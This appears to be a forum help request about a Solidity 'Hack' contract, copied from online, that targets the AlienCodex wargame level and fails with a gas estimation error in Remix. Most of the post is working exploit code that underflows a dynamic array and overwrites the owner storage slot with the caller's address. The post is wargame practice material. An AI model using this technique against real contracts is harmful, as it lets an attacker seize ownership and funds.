When i call attack()
or exploit()
function the remix shows Gas Estimation Failed. The code is copied from existing solution available on internet. so code is correct, can someone please help me why I am getting the Gas Estimation Failed popup window on Remix, and when I force the transaction it failed!
Any help appreciated thanks!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
interface IAlienCodex {
function owner() external view returns (address);
function codex(uint256) external view returns (bytes32);
function retract() external;
function make_contact() external;
function revise(uint256 i, bytes32 _content) external;
}
contract Hack {
function attack(IAlienCodex target) external {
target.make_contact();
target.retract();
uint256 h = uint256(keccak256(abi.encode(uint256(1))));
uint256 i;
unchecked {
// h + i = 0 = 2**256
i -= h;
}
target.revise(i, bytes32(uint256(uint160(msg.sender))));
require(target.owner() == msg.sender, "hack failed");
}
function exploit (IAlienCodex target) external {
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
target.make_contact();
target.retract();
target.revise(index, myAddress);
}
}